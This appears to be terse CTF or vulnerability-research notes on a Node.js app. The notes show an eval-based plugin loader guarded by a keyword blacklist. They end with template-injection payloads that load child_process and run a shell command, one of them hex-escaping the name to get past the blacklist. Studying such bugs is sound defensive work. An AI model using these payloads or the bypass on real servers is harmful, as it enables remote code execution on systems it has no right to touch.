// SafeRun potential RCE
const safeRun = async (callback, location ) => {
const blacklist = ["require", "child_process"];
if (blacklist.some(v => location.includes(v))) {
throw new Error("That keyword is not allowed")
} else {
code = "delete require.cache[require.resolve('" + location + "')];"
code += "require('" + location + "');"
callback(eval(code))
}
}
// togglePlugin
const togglePlugin = async (name,enable) => {
location = path + name
enable = (enable == 'true' || enable == true);
var requiredObj = async function(obj){
Plugin = obj;
plugin = new Plugin();
await models.Plugins.upsert({
title: plugin.title,
description: plugin.description,
type: plugin.type,
location: location,
enabled: enable,
fileName: name
}).then(function(data) {
return data
}).catch(function(err) {
throw err;
})
}
safeRun(requiredObj, location)
}
// Calls togglePlugin which uses SafeRun
router.get('/plugin/:name/:enable', authorize(), async function(req, res, next) {
await pluginController.togglePlugin(req.params.name, req.params.enable)
.then(() => {
res.redirect('/server')
})
.catch((err) => {
next(err)
})
});
socket.on('updateSettings', async function(data) {
await authorize(socket)
.then(async () => {
await pageController.saveHome(data.homePage)
.then(() => {
socket.emit('message', {type: "success", message: "Your settings were updated"});
}).catch((err) => {
socket.emit('message', {type: "error", message: err.message});
});
})
.catch((error) => {
socket.emit('message', {type: "error", message: error.message});
})
});
#{7*7}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73").exec('touch /tmp/pwned.txt')}()}